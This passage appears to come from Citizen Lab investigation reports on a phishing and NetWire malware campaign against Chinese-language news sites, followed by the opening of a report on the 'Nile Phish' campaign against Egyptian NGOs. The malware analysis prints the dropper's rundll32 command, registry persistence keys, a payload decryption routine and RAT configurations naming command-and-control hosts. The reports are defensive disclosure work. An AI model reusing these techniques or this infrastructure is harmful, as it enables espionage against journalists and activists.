+45[.]124[.]24[.]39 Cloudie HK
+141[.]08[.]99[.]155: ChinaNet
+Chongqing
+We shared these IP addresses with CDT to check if the addresses had visited the real CDT website around the
+period of the phishing emails. We found that the Cloudie IP address (45[.]124[.]24[.]39) visited the real CDT
+web site 42,000 times on February 8 2017, during a four hour period. The rate of the requests, user agents utilized,
+and information requested indicates that these visits were attempts to enumerate HTTP paths on the website to test
+for vulnerabilities. This scan occurred less than a week before the operators staged the phishing page sent to CDT.
+Phishing Server Log Analysis
+8/23
+Between February 14 and 28, 2017, a direct visit to the URL hXXp://43[.]240[.]14[.]37 returned a copy of
+the CDT homepage (see Figure 8).
+Figure 8: Comparison of the real frontpage of CDT (as seen on day the emails were sent) and the fake
+webpage
+This fake homepage was not included in the emails sent to CDT. The operators potentially included this homepage if
+users clicked the link in the email and then viewed the top level URL to ensure they were on the right site (see
+below).
+Email Link:
+chinadagitaltimes[.]net/2016/07/chinese-hackers-blamed-multiple-breaches-fdic
+Home page: chinadagitaltimes[.]net
+The directory of chinadagitaltimes[.]net/2016/07 shows the content listed on the server and lists the last
+modified date of the content as February 15, 2017 (see Figure 9).
+Figure 9: An index listing on the phishing server.
+We found a file 
+log.txt
+ on the fake CDT home page and article web pages. This log file records the IP address,
+browser user agent, and timestamp of visitors to the pages. We found an additional log in the URL of the fake
+WordPress login page that captures username, password and date to record credentials that are entered.
+9/23
+The logs only included what we suspect to be fake credentials, which demonstrates the phishing attempts were
+unsuccessful. The first entry on February 16, 2017 may be a record of the operator testing the phishing page.
+username:1111----password:1111----2017-02-16
+09:26:14
+On February 28, we again see what appear to be test credentials added.
+username:12312----password:1232131----2017-02-28
+10:25:33
+Phishing Operation Final Stages
+On February 20, the CDT staff member who received the original phishing email was sent a follow-up email that
+responded to an auto away message from the staff member and reminded the recipient about the link that was sent.
+This was the last phishing email sent to CDT (see below):
+Original Email Text
+From: papa papa hellomice@mail.com
+To: [REDACTED]
+Date: February 20 2017
+Subject: Fwd: 
+[REDACTED]
+:) thx
+Sent: February 14 2017
+From: [REDACTED]
+To: "papa papa"hellomice@mail.com
+Subject: Re: 
+2017-02-13 18:34 GMT-08:00 papa papa hellomice@mail.com
+hXXp://43.240.14.37/asdasdasadqddd12222111[.]php/article.asp=search.php
+English Translation
+From: papa papa hellomice@mail.com
+To: [REDACTED]
+Date: February 20 2017
+Subject: Fwd: I am a student at UC Berkeley. I want to get to know you and I have
+some exclusive information to expose. I would like to publish an article. How do I
+register and log in? thx
+Sent: Tuesday, February 14, 2017 at 1:35 PM
+From: [REDACTED]
+Subject: Re: I am a student at UC Berkeley. I want to get to know you and I have some exclusive information to
+expose.
+To: 
+papa papa
+ hellomice@mail.com
+Thanks for the email. Unfortunately I don
+t have time before 20th this month. Please contact me again at the end of
+this month. Thank you.2017-02-13 18:34 GMT-08:00 papa papa hellomice@mail.com
+I would like to expose some materials to you. It is about the insider information of Guo Yungui
+s claim that Chinese
+hackers attacked Ming Jing News.
+hXXp://43.240.14.37/asdasdasadqddd12222111[.]php/article.asp=search.php
+10/23
+Later on the same day, the phishing pages and log files were taken offline serving a 404 error if visited. The bare IP
+of the server (43[.]240[.]14[.]37) also switched to returning a default CentOS test page. After the site was
+taken down on February 28 no additional phishing emails were sent and we observed no other activity.
+Analysis of passive DNS records and WHOIS registration information associated with the server infrastructure used
+to host the fake CDT page led to the discovery that the phishing operation targeting CDT was part of a wider
+campaign.
+Part 2: Uncovering a Wider Campaign
+This section reveals how the operation against China Digital Times was part of a wider campaign of phishing,
+reconnaissance, and malware operations that used domains and content made to mimic four other Chinese
+language news organizations.
+Infrastructure Connections
+After examining the server used to host the fake CDT page and referencing passive DNS records and WHOIS
+registration information, we found other fake domains registered by the same entity with copied content from
+Chinese-language news sites. Our analysis shows that the operators are using the fake domains for at least three
+different purposes: reconnaissance, phishing, and malware. We were only able to collect phishing emails sent to
+CDT and cannot confirm if the other media organizations were direct targets or if the fake domains were used to
+target other groups. Table 1 provides an overview of groups that the operator attempted to mimic through fake
+domains and / or copied content.
+Fake Domain
+Registered
+Organization
+China Digital
+Times
+Site contents
+copied
+Confirmed
+targeting
+Purpose
+Phishing
+Mingjing News
+Recon
+HK01
+Malware
+Unknown
+Bowen Press
+Epoch Times
+Unknown
+The fake domains are linked by common WHOIS registration information, which shows they were all registered by
+the same entity. The WHOIS registration information used to register the fake CDT domain is as follows:
+Name: free tibet
+Mailing Address: Uniter states, Phoenix Arizona 86303
+Phone: +1.2126881188
+Email: aobama_5@yahoo.com
+We found a series of domains registered with the same information. The majority of these domains are designed to
+mimic domains of Chinese-language news sites. We resolved each domain to determine if they are active and which
+IP they resolve to (see Table 2).
+11/23
+Registration
+Date
+Real Organization
+secuerserver[.]com
+2015-08-31
+GoDaddy (secureserver.com)
+Not resolving
+bowenpres[.]com
+2015-10-07
+Bowen Press
+(bowenpress.com)
+Parked Page (GoDaddy)
+bowenpress[.]net
+2015-10-07
+Bowen Press
+(bowenpress.com)
+Parked Page (GoDaddy)
+bowenpress[.]org
+2015-10-07
+Bowen Press
+(bowenpress.com)
+Parked Page (GoDaddy)
+bowenpross[.]com
+2015-10-07
+Bowen Press
+(bowenpress.com)
+Parked Page (GoDaddy)
+datalink[.]one
+2016-07-07
+Gorillaservers
+chinadagitaltimes[.]net 2017-02-14
+China Digital Times
+(chinadigitaltimes.net)
+Cloudie HK
+epochatimes[.]com
+Epoch Times
+(theepochtimes.com)
+Cloudie HK
+Domain
+2017-02-27
+Hosting Status (As of
+March 15th)
+The registration dates show the operators have been registering fake domains that mimic Chinese language news
+websites since 2015, when they registered domains made to look like the real domain of news site Bowen Press (
+bowenpress[.]com).
+We investigated the servers hosting the domains and found the operators use two servers for different purposes:
+one for phishing and reconnaissance activities and another to serve malware.
+The phishing and reconnaissance server hosted the fake CDT domain, the fake Mingjing page, and a domain made
+to look like the legitimate domain of Epoch Times (a multilingual media organization started by Chinese-American
+Falun Gong supporters.
+On February 26 2017, the operators registered a fake domain mimicking the main Epoch Times domain
+(epochtimes[.]com), which adds an additional 
+ after 
+epoch
+ ( epochatimes[.]com).
+Following our discovery of the fake Epoch Times domain we notified the organization and shared indicators of
+compromise. Epoch Times found a Cloudie IP (103.200.31[.]164) that sent 24,183 requests during a 12 hour
+period on March 8, 2017 to the subscription page of Epoch Times at the URL subscribe.epochtimes.com.
+These requests appear to be attempts to enumerate HTTP paths, similar to the requests sent to China Digital Times
+on February 8.
+Given the timeframe of the registration of the fake Epoch Times domain, we suspect the operators may have moved
+from targeting CDT to Epoch Times. The fake Epoch Times domain was hosted on the same server as the fake CDT
+and Mingjing pages (43.240.14[.]37). However, we did not find content copied from any Epoch Times websites
+on the operator
+s infrastructure during the investigation and did not have any phishing emails reported to us. It is
+possible that the fake Epoch Times domain is being used for phishing or reconnaissance, but we are unable to
+confirm.
+In addition to phishing and reconnaissance activities the operators are also engaged in malware operations and
+have a dedicated server for this purpose. We discovered the malware server by resolving the domain:
+datalink[.]one, and found it hosted NetWire, a commodity remote access trojan, and included bait content and
+12/23
+domains designed to mimic Chinese-language news organizations HK01 and Bowen Press.
+Part 3: Malware Operation
+This section describes a malware operation that used content and domains made to mimic Chinese-language news
+organizations HK01 and Bowen Press. The malware operation made efforts to evade detection and frustrate
+analysis. The operation combined obfuscated, packed executables, and custom shellcode with an additional step of
+using compromised servers to host the malicious payload. We identify the payload as NetWire, a commodity remote
+access trojan that is not commonly observed in Asia and typically seen used in cybercrime activities.
+Malware server and analysis
+Our investigation of the malware operation began with analysis of the server used to host the malware. The malware
+server is on the IP address: 23[.]239[.]106[.]119 hosted by GorillaServers, a provider based in the United
+States. We found the server by resolving the domain datalink[.]one, which was one of the domains registered by the
+operators.
+On the server we found domains and copied content mimicking HK01 and Bowen Press, but cannot confirm if these
+groups were direct targets of the malware operation or if the content was used as lures to target other groups.
+Passive DNS records for the IP address: 23[.]239[.]106[.]119 show a number of other domains that we have
+connected to the operators including:
+Domains
+datalink[.]one
+get.adobe.com.bowenpress[.]org
+hk.secuerserver[.]com
+pop.secuerserver[.]com
+smtpout.secuerserver[.]com
+www.bowenpress[.]org
+www.mail.secuerserver[.]com
+www.secuerserver[.]com
+www.vnews[.]hk
+We found that some of these domains were used as command and control servers for the malware we found hosted
+on the domain.
+HK01 Lure
+When we first investigated the malware server on March 6, 2017 we found it was hosting what appears to be a copy
+of the frontpage of HK01, a Hong Kong-based news site (see Figure 10).
+13/23
+Figure 10: Comparison of real and fake HK01 webpages
+The copied version of the HK01 site is missing the centre content displayed on the real site.
+Instead it shows a link with the following text: 
+Adobe Flash Player 
+ [Adobe Flash Player this
+version is outdated. Please click].
+The link connects to:
+hXXp://get.adobe.com.bowenpress.org/Adobe/update/20161201/AdobeUpdate[.]html
+Clicking this link initiates a download of an executable and then forwards the user to the legitimate Adobe update
+site. These action are done through the following HTML code:
+We browsed the directory of 23[.]1239[.]1106[.]119/adobe/update and found three different sub
+directories that each served three different executables (see Figure 11). A fourth sub directory and fourth executable
+appeared on March 12, 2017. Analysis of these executables shows they are malware.
+14/23
+Figure 11: Server directory containing malicious executables.
+Malware Analysis
+The malicious binaries combined obfuscated, packed executables, and custom shellcode with an additional step of
+using compromised servers to host the malicious payload. We identify the final payload as NetWire, a commodity
+remote access trojan that is not commonly observed in Asia and typically seen used in cybercrime activities.
+The four executables we found in the 
+Adobe update
+ directory are named to appear as an update for Adobe Flash
+followed by a date stamp (e.g., AdobeUpdate20160703.exe).
+Each malware file was digitally signed:
+File
+Certificate Details
+AdobeUpdate20160703.exe 
+Serial: 57 be 1a 00 d2 e5 9b db d1 95 24 aa a1 7e d9 3b
+Valid From: Thursday, November 19, 2015 5:45:01 PM
+Valid To: Saturday, November 19, 2016 5:45:01 PM
+AdobeUpdate20160812.exe 
+Serial: 68 be c5 c0 26 4c c9 09 6d 2f b2 0a 98 86 e9 4d
+Valid From: Monday, June 15, 2015 4:00:00 PM
+Valid To: Thursday, June 15, 2017 3:59:59 PM
+15/23
+File
+Certificate Details
+AdobeUpdate20161201.exe Elex do Brasil Participa
+es Ltda
+AdobeUpdate20170312.exe Serial: 06 71 ee 52 6a cb 6f 9b e2 01 f5 a8 e2 03 c4 1c
+Valid From: Sunday, April 12, 2015 4:00:00 PM
+Valid To: Wednesday, July 12, 2017 3:59:59 PM
+All four samples are packed with VMProtect, software used to obfuscate source code to make anaylsis and reverse
+engineering more difficult. When executed the samples unpack and drop a second VMProtect-packed DLL to the
+following location:
+C:\Program Files\Common Files\Microsoft
+Shared\VGX\Stub.dll
+Before executing the dropped DLL via rundll32 as shown:
+rundll32.exe C:\Program Files\Common Files\Microsoft
+Shared\VGX\Stub.dll,Install
+COM+ Event
+This stub DLL unpacks itself and then gains persistence by creating a new autorun service: Log
+DLL edits the following registry keys to create this new service:
+. The
+HKLM\Software\Microsoft\Windows
+NT\CurrentVersion\SvcHost\EventSystemLog
+HKLM\System\CurrentControlSet\Services\EventSystemLog
+HKLM\System\CurrentControlSet002\Services\EventSystemLog
+HKLM\System\CurrentControlSet003\Services\EventSystemLog
+Once the DLL has gained persistence it starts the newly created service. When run as part of a service, the DLL
+unpacks itself and attempts to download what appears to be a jpg file hosted on one of three websites: a Chineselanguage news organization, a University, and a software company.
+Each of the 4 samples uses a different URL. Each of these files begins with a 631 byte jpg header followed by
+encrypted shellcode. The malware first decrypts the payload immediately after the jpg header using the following
+algorithm:
+for i = 0; i < len(payload); i++ payload[i] = (16 * ~((((payload[i] ^ 0x50) >> 4) ^
+i) & 0xf) & 0xef) ^ payload[i]
+The decrypted payload begins with a short header consisting of an unsigned 32 bit integer that is the size of the
+stage 2 payload, an unsigned 32 bit integer used as a checksum, and 64 bytes of padding. This header is followed
+by a block of shellcode and a second encrypted payload (see Figure 12). The shellcode decrypts the stage 2
+payload using RC4 with different 256-bit keys for each sample.
+16/23
+Figure 12: Hex code showing jpg header followed by encrypted shellcode
+This decrypted data contains additional shellcode followed by a PE file. We identify the PE file as the Netwire RAT.
+The final stage shellcode acts as a loader and maps the RAT into memory and resolves the RAT
+s imports before
+jumping to the RAT
+s entrypoint.
+Netwire RAT is a multi-platform RAT (Remote Access Tool) that first appeared in 2012. Since its appearance,
+Netwire RAT has been used in a variety of attacks ranging from stealing credit card data to targeted campaigns
+against health care and banking sectors. The Netwire samples we analyzed are capable of a wide-range of behavior
+including:
+Reading stored usernames and passwords from common apps including:
+Web Browsers
+Email Clients
+17/23
+Instant Messaging Clients
+Keylogging
+Taking Screenshots
+Audio capture
+Screen recording
+Process listing, creation, killing, etc.
+Uploading and downloading files
+Each of the 4 fake jpg files contains a Netwire sample containing different configuration settings. After analyzing
+the samples we recovered the configuration settings for each sample (see Appendix A). The use of multiple layers
+of packed or obfuscated payloads is likely an attempt to evade detection and analysis. Downloading the RAT each
+time the malware runs could be an attempt to hide the final payload, as the Netwire samples are never written to
+disk. This process makes direct analysis difficult without memory images or an understanding of the payload
+decryption and shellcode routines to decrypt the RAT manually. Using different configurations for each sample could
+be an attempt to use specific domains tailored to each target, or to allow for the use of multiple domains as fallbacks
+in case previously used domains are discovered and blocked.
+Each of the four binary samples we analyzed downloaded a copy of the Netwire RAT as a different 
+ jpg
+ file. The
+three hosts used are all legitimate servers with active web pages. In each case, the jpg downloaded by the
+malware is noticeably larger than other files in the same directory on the server and was last modified more
+recently. We believe that each of the three servers used to host the 
+ files have been compromised and that the
+operator is using these legitimate servers to host their payload in an effort to hide their activities.
+Like the phishing operation, the malware setup shows a significant level of effort. We observe custom shellcode
+paired with an additional step of using likely-compromised servers to host the payload. While Netwire has been seen
+in some targeted intrusions, it has primarily been used in cybercrime activities and is not common in Asia.
+Bowen Press Lures
+The earliest domains registered by the operators that follow the pattern of mimicking China related news
+organizations were decoys for Bowen Press. The real Bowen Press domain is bowenpress[.]com, the operators
+registered bowenpress[.]org. We were unable to retrieve the content that originally appeared on the domains in
+2015. However, we were able to find copied Bowen Press content on the malware server through Google searches
+on the 
+news
+ subdirectory of the server. The content was an iframe of the front page of Bowen Press and results in
+rendering additional error messages (See Figure 13). The existence of Bowen Press content on this server
+suggests that the operators may have been using Bowen Press lures to serve malware.
+18/23
+Figure 13: Comparison of real and fake Bowen Press webpages
+Additionally,we found the Netwire samples in a directory under the URL
+www.bowenpress[.]org/Adobe/update, even though the website serving the sample was a copy of HK01. The
+use of this URL path further suggests that the fake Bowen Press domain and content were used to serve malware at
+some point. The operators may have simply reused the domain for the HK01 related campaign.
+On March 15, 2017, the front page of the malware server was changed to a copy of the Bowen Press website that
+mirrored content from the same day (see Figure 14). The copied page did not contain any malicious code and we
+were unable to find a log.txt file on the server.
+19/23
+Figure 14: Screenshot of the malware server on March 15 2017 showing copied content from Bowen
+Press.
+The only change to the content of the page was the removal of a bot check supplied by WordFence, a security
+plugin for the WordPress blogging platform. On March 21, the content was removed and the server returned a blank
+page.
+We cannot confirm what was the purpose of the recently copied Bowen Press content. However, it shows that the
+operators have had a continued interest in using Bowen Press content as lures potentially to serve malware.
+Part 4: Campaign Connections
+This section links infrastructure used in the campaign against the Chinese-language news sites to previous malware
+campaigns targeting a Tibetan Radio Station and the Thai government. It also highlights connections between
+certificate information used to sign the Netwire samples we analyzed and malware used in campaigns targeting
+gaming companies.
+Infrastructure Connections to Malware Operations against Tibetan Radio Station
+Domain registration information for some of the infrastructure used in the campaign have links to earlier targeted
+malware operations against civil society and government groups in Asia.
+The WHOIS records for the domains used in the phishing and malware operations include the phone number (
+12126881188). Searching other WHOIS records for this number reveals a known command and control server with
+a Tibet theme. The WHOIS information for this domain matches all the fields with the exception of the email
+address. All other fields used match including the same address and misspelling of United States as 
+Uniter States
+Domain: www.tibetonline[.]info
+Name: free tibet
+Mailing Address: Uniter states, Phoenix Arizona 86303
+Phone: +1.2126881188
+Email: rooterit@outlook.com (admin)
+fightfortibet@ymail.com (billing)
+The registrant e-mail is linked to another domain in addition to tibetonline[.]info which is rooter[.]tk.
+Both these domains are linked to a 2013 campaign targeting Voice of Tibet, an independent radio station reporting
+on Tibetan issues. In this campaign, the two domains were reported by ThreatConnect as being used as a
+command and control server (rooter[.]tk) and hosting an Adobe Flash heap spray vulnerability (
+tibetonline[.]info) as well as an IE exploit (CVE-2013-1347).
+Infrastructure Connections to Malware Operations against Thai Government
+The domain tibetonline[.]info was also identified by Palo Alto Networks as a command and control server
+used for FFRAT malware recently described by Cylance. This infrastructure overlapped with servers used by a
+threat actor targeting Thai government entities with the Bookworm trojan in 2015. The general tactics, techniques,
+and procedures used by this threat actor also show similarities to the campaign we analysed. Both used the same
+hosting provider on one IP: Cloudie HK (103.226.127[.]47), and used fake Adobe updates to lure targets into
+installing malware. The threat actor documented by Palo Alto also used fake news site domains (e.g.,
+vancouversun[.]us, yomiuri[.]us, voanews[.]hk, and nhknews[.]hk) Finally, both operations
+leveraged compromised web servers for command and control.
+20/23
+Certificate Connections to Malware Targeting Gaming Companies
+In October 2016 Cylance disclosed information on a threat actor called 
+PassCV
+, which targeted the gaming
+industry and used stolen code signing certificates to sign malware.
+The disclosure was an update to information published by Symantec in July 2014 and Kaspersky
+s 2013 view into
+Winnti.
+Cylance lists three malware samples signed with one of the same certificates used to sign one of the Netwire
+dropper files in the operation we report on:
+57 BE 1A 00 D2 E5 9B DB D1 95 24 AA A1 7E D9
+In addition, Cylance also notes the discovery of Netwire being used in the same campaign. The use of Netwire is
+notable as it is the only other mention of it being used in Chinese-nexus malware operations of which we are aware.
+The disclosure was an update to information published by Symantec in July 2014 and Kaspersky
+s 2013 view into
+Winnti.
+Explaining the Connections
+These overlaps point to a number of potential scenarios. The campaign we analyzed may have been conducted by
+the same threat actors as the previous operations. Alternatively the overlap may be an artifact of resource sharing
+between separate but unrelated threat actors 
+ potentially through the use of a 
+digital quartermaster
+ (a group that
+supplies operators with malware and other resources), or more informal means. While the first scenario is possible,
+we do not have enough information to fully substantiate it. We suspect that at the least there is some level of sharing
+and reuse of infrastructure by the same operator or group of operators. The targets in most of these other
+campaigns (ethnic minority groups, government in Southeast Asia, and news sites reporting on China) generally fall
+into the geopolitical interests and strategic concerns of the government of China. However, we have insufficient
+information to conclusively attribute the campaign to a specific threat actor or state sponsor.
+Part 5: Discussion and Conclusion
+This section summarizes the characteristics of the campaign and how it reflects wider information security
+challenges for news organizations and journalism.
+A Patient and Persistent Operator
+While the tactics used in these campaigns are technically simple, the operators demonstrate patience and
+persistence. They have been using content and domains mimicking Chinese-language news sites as lures since at
+least 2015, and appear to carefully move from one target to another. The phishing campaign against China Digital
+Times was stood up and taken down in the span of 20 days. In this period, the operators scanned the CDT site for
+vulnerabilities, registered a lookalike domain, created a fake CDT decoy site, and sent the group a wave of
+customized phishing emails. When these efforts were not successful the operators quickly shut down the campaign
+and moved on to new targeting. The malware operation also showed efforts to bypass detection and analysis. The
+operators combined obfuscated, packed executables and custom shellcode with an additional step of using
+compromised servers to host the payload.
+The news sites used for lures and targeting in the operation all report on topics seen as politically sensitive by the
+government of China, and follow a general pattern of news organizations reporting on China being targeted by digital
+21/23
+espionage. While there are connections between these targets and the geopolitical concerns of the Chinese
+government we cannot conclusively attribute this operation to a state sponsor. What we can clearly determine is that
+this operation was conducted by a threat actor active for at least 2 years that targets Chinese language news
+organizations with intrusion attempts and appears to carefully move from target to target.
+Information Security Challenges for Journalism
+This campaign reflects general information security challenges for news organizations and journalists. Journalists
+operate in high-paced environments under intense time pressures. As part of their practice, they regularly receive
+information from unknown sources in a variety of media (e.g., social media, email, chat messages, etc). Gathering
+sources and material requires journalists to be open and accessible online. Journalists also may handle sensitive
+information and contacts. Ideally, information security should be part of their standard work process, but information
+security is but one consideration out of many other competing priorities. Journalists and management may not have
+the same level of awareness or concern for information security threats. Bridging these gaps, balancing conflicting
+necessities for openness, availability, and security all within a resource-constrained environment are major
+challenges. Nonetheless, information security needs to be addressed.
+The case we analyzed (and many others like it) shows journalists and news groups are being targeted by digital
+espionage operations designed to access confidential information and systems. The threat is not only against
+journalists reporting on China. Previous research has found digital espionage operations targeting journalists
+reporting on the Middle East, Latin America, Russia, and elsewhere. More work is needed to understand the nature
+of the threats and ways to mitigate them that are sensitive to the practicalities and realities of journalism.
+Acknowledgements
+We are grateful to China Digital Times, Epoch Times, Bowen Press, and HK01 for their participation.
+Thanks to our colleagues for review and assistance: John Scott-Railton, Lotus Ruan, Jeffrey Knockel, Lokman Tsui,
+Valkyrie-X Security Research Group, Andrew Hilts, Ron Deibert, and TNG.
+This project was supported by the John T. and Catherine D. MacArthur Foundation.
+Appendix A: Malware Configuration Settings
+File name: 7.jpg
+ConnectionString:
+email23.secuerserver[.]com:443;
+ProxyString: Password: Password
+HostId: HostId-%Rand%
+Mutex: InstallPath: StartupKeyName1: StartupKeyName2: KeyLoggerFilePath: BoolSettingsByte: 000
+ConnectionType: 000
+22/23
+File name: 8.jpg
+ConnectionString:
+hk.secuerserver[.]com:443;
+ProxyString: Password: Password
+HostId: HostId-%Rand%
+Mutex: InstallPath: StartupKeyName1: StartupKeyName2: KeyLoggerFilePath: BoolSettingsByte: 000
+ConnectionType: 001
+File name: HHBcampus.jpg
+ConnectionString:
+HK.SECUERSERVER[.]COM:443;
+ProxyString: Password: Password
+HostId: HostId-%Rand%
+Mutex: InstallPath: StartupKeyName1: StartupKeyName2: KeyLoggerFilePath: BoolSettingsByte: 000
+ConnectionType: 001
+Filename: icon_sad.jpg
+ConnectionString:
+dns.bowenpress[.]org:443;
+ProxyString: Password: Password
+HostId: HostId-%Rand%
+Mutex: InstallPath: StartupKeyName1: StartupKeyName2: KeyLoggerFilePath: BoolSettingsByte: 000
+ConnectionType: 001
+Appendix B: Indicators Of Compromise
+Indicators of compromise for this report can be found on our github page.
+23/23
+[updated] Nile Phish: Large-Scale Phishing Campaign Targeting Egyptian Civil
+Society
+citizenlab.org/2017/02/nilephish-report/
+2/2/2017
+By: John Scott-Railton*, Ramy Raoof***, Bill Marczak*, and Etienne Maynier**
+*Senior Researcher, Citizen Lab, ***Senior Research Technologist, Egyptian Initiative for Personal Rights, **Mozilla Open Web Fellow, Citizen
+Media coverage: Associated Press, Vice, The Intercept, The Hill, Egyptian Streets, La Stampa, Slate, Cairo Portal, Version2, Al Nabaa,
+Middle East Monitor, Al Mesryoon, Netzpolitik (in German).
+Click here to read the EIPR report in Arabic.
+Update 2/23/2017
+Evidence of Two Factor Phishing:
+Since publication, Citizen Lab and EIPR have been contacted by a number of additional targets. We are preparing a follow-up report, but we
+believe it is important to note that there is now evidence that the Nile Phish operator has engaged in phishing of 2-factor authentication
+codes.See: Evidence of 2 Factor Phishing
+Key Findings
+Egyptian NGOs are currently being targeted by Nile Phish, a large-scale phishing campaign.
+Almost all of the targets we identified are also implicated in Case 173, a sprawling legal case brought by the Egyptian government
+against NGOs, at ich has been referred to as an 
+unprecedented crackdown
+ on Egypt
+s civil society.
+Nile Phish operators demonstrate an intimate knowledge of Egyptian NGOs, and are able to roll out phishing attacks within hours of
+government actions, such as arrests.
+Summary
+This report describes Nile Phish, an ongoing and extensive phishing campaign against Egyptian civil society. In recent years, Egypt has
+witnessed what is widely described as an 
+unprecedented crackdown,
+ on both civil society and dissent. Amidst this backdrop, in late
+November 2016 Citizen Lab began investigating phishing attempts on staff at the Egyptian Initiative for Personal Rights (EIPR), an Egyptian
+organization working on research, advocacy and legal engagement to support basic freedoms and rights.
+With the collaboration and assistance of EIPR, our investigation expanded to include seven Egyptian NGOs targeted by Nile Phish. These
+seven organizations work on a variety of human rights issues, including political freedoms, gender issues, and freedom of speech. We also
+identified individual targets, including Egyptian lawyers, journalists, and independent activists.
+With only a handful of exceptions, Nile Phish targets are implicated in Case 173, a legal case brought against NGOs by the Egyptian
+government over issues of foreign funding. The phishing campaign also coincides with renewed pressure on these organizations and their
+staff by the Egyptian government, in the context of Case 173, including asset freezes, travel bans, forced closures, and arrests.
+Our collaborative investigation has documented at least 92 messages sent by Nile Phish, many highly personalized, and sent as recently as
+January 31st, 2017. The phishing campaign has included at least two phases, each with distinct phishing tactics and domains. Efforts seem to
+have been made to compartmentalize the infrastructure for each phase, but a technical error allowed us to link the servers and conclude that
+the two phases were part of a single campaign.
+Nile Phish
+s sponsor clearly has a strong interest in the activities of Egyptian NGOs, specifically those charged by the Egyptian government in
+Case 173. The Nile Phish operator shows intimate familiarity with the targeted NGOs activities, the concerns of their staff, and an ability to
+quickly phish on the heels of action by the Egyptian government. For example, we observed phishing against the colleagues of prominent
+Egyptian lawyer Azza Soliman, within hours of her arrest in December 2016. The phishing claimed to be a copy of her arrest warrant.
+We are not in a position in this report to conclusively attribute Nile Phish to a particular sponsor. However, the scale of the campaign and its
+persistence, within the context of other legal pressures and harassment, compound the extremely difficult situation faced by NGOs in Egypt.
+Background
+1/14
+In recent years, political assembly, freedom of speech, independent media, and civic organizing have been increasingly constrained in Egypt.
+This concerted effort has been widely called an 
+unprecedented crackdown
+ against civil society. One component of this effort has been a
+rising tide of official and semi-official allegations of foreign interference and foreign funding against Egypt
+s civil society organizations.
+In 2011, the Egyptian Government embarked on a wide-ranging legal case charging that many civil society organizations receive foreign
+funding, and may be engaged in prohibited or illegal activities. The case is widely viewed as politically-motivated, and an attempt to frustrate
+and block the ability of Egyptian civil society to continue its pro-democracy and human rights monitoring work.
+As part of Case 173, international organizations (e.g.,the National Democratic Institute) and domestic groups (e.g. the Egyptian Initiative for
+Personal Rights) have been subjected to a wide range of legal sanctions, including arrests, travel bans, asset freezes and harsh sentencing.
+In 2013, 43 defendants working for international NGOs were sentenced to prison for their work, many in absentia as they had already left the
+country.
+Now more than 5 years old, Case 173 has been marked by periods of calm, and of intense activity. Initially primarily focused on international
+NGOs like the National Democratic Institute and the Konrad Adenauer Foundation, the case has grown increasingly focused on domestic
+Egyptian organizations. The 37 organizations known to be accused in the case include respected civil liberties groups, pro-bono law firms,
+and organizations working on gender issues. More recently, beginning in Spring 2016, travel bans and asset freezes were placed on staff
+members of some domestic organizations under investigation.
+As a result, many who work for NGOs named in the case are concerned that their ability to travel may be restricted, and that they may face
+arrest, jail time or other forms of punishment. Nile Phish, the campaign described in this report, not only targets these individuals, but uses
+deceptions that play directly into these fears and concerns.
+The Nile Phish Campaign
+In late 2016, Citizen Lab was contacted by the Egyptian Initiative for Personal Rights (EIPR), whose technical team had observed a growing
+number of suspicious emails sent to EIPR accounts. The messages had caught the attention of the technical team because multiple
+messages arrived at the same time, concerned current events, and seemed to play on emotional themes related to Case 173. EIPR
+s team
+helped broaden the investigation to a total of seven targeted Egyptian NGOs.
+All of the seven Egyptian organizations are also implicated by Case 173. The targets include reputable and respected organizations working
+on political and rights issues such as freedom of expression, gender rights, and victims of torture and forced disappearances. Six of the
+organizations have agreed to be named in this report and one requested to be referenced anonymously (see Table 1).
+Table 1: Egyptian NGOs Known to be Targeted by Nile Phish
+Targeted NGO
+What they do
+Association for Freedom of
+Thought and Expression (AFTE)
+Legal aid, strategic litigation, and awareness-raising on issues of freedom of expression in Egypt.
+Cairo Institute for Human Rights
+Studies (CIHRS)
+A regional NGO that promotes respect for human rights and democracy in the Arab Region.
+Egyptian Commission for Rights
+and Freedoms (ECRF)
+Egyptian organization defending human rights and tracking violations. Tracks and campaigns
+against forced disappearances
+Egyptian Initiative for Personal
+Rights (EIPR)
+Works to strengthen and protect basic rights and freedoms in Egypt through research, advocacy,
+and litigation. Areas of work include civil liberties, economic and social rights, and criminal justice.
+Nadeem Center for
+Rehabilitation of Victims of
+Violence (Nadeem)
+An anti-torture organization that focuses on assisting victims of torture with rehabilitation, including
+providing legal services and social support.
+Nazra for Feminist Studies
+(Nazra)
+Promoting the political participation of women, as well as addressing sexual violence, the
+organization treats feminism and gender rights as political and social issues.
+Unnamed NGO
+This organization has requested that it not be named
+In addition to the organizations, we identified a small number of individual targets in Egypt, including well-respected lawyers, journalists, and
+activists.
+We strongly suspect that there may be other targets, and hope that the Indicators of Targeting that we provide in Appendix A can be used by
+systems administrators and others to seek evidence of targeting.
+2/14
+How The Investigation Began
+The first Nile Phish message that we examined, sent by Nile Phish to several Egyptian NGOs on November 24, 2016, was made to appear to
+come from the Nadeem Center for Rehabilitation of Victims of Violence (Nadeem), and invited the NGO staff member to participate in a
+nonexistent panel discussing Egypt
+s draft NGO Act, which was nearing a vote in Parliament. The recipient was invited to visit a link to read
+more about the panel.
+The operators used language from a real NGO statement that had been circulating, embellishing it with the fake meeting. According to the
+carefully crafted fiction, the event was co-sponsored by several other NGOs, including EIPR, the Cairo Institute for Human Rights Studies
+(CIHRS) and Nazra for Feminist Studies (Nazra). These NGOs were signatories of the legitimate statement. Interestingly Nadeem, EIPR,
+CIHRS, and Nazra were all later targeted by the same phishing campaign.
+Nov 24 Message Excerpt (Translated)
+The state has already taken real steps to eliminate Egyptian civil society organizations by
+prosecuting case no. 173/2011 on foreign funding, and several organizations and their current and former directors have been banned from
+travel and have had their assets frozen. This new law, however, would pave the way for the eradication of any sort of civic action geared to
+development, charitable activities, and services..
+Therefore, El Nadeem will organize jointly with political parties and ngos a panel to discuss the status of the civil society organizations in
+Egypt in the light of the new act beside the restrictions practiced by the security authorities such as travel ban and assesses free, and others
+restrictive to societal and development work in Egypt.
+[Link to the agenda and to register for the event]
+The link led to a site designed to trick the target into believing that they needed to enter their password to view the file. After confirming that
+the message was a phishing attack, we began investigation in close collaboration with EIPR
+s technical team, which was by then observing a
+second wave of messages claiming to share a document that listed individuals subject to travel bans. The recipients were the staff of Egyptian
+civil society organizations, many of whom suspected that they might be included on these lists.
+We have now documented at least 92 messages from Nile Phish, which we link together by use of the same servers and phishing toolkit. The
+majority of the emails were sent to the work accounts of the targets. The messages have targeted at least seven organizations, as well as a
+number of individual activists, lawyers, and journalists. Almost all of the targets are staff of organizations that are defendants in Case 173.
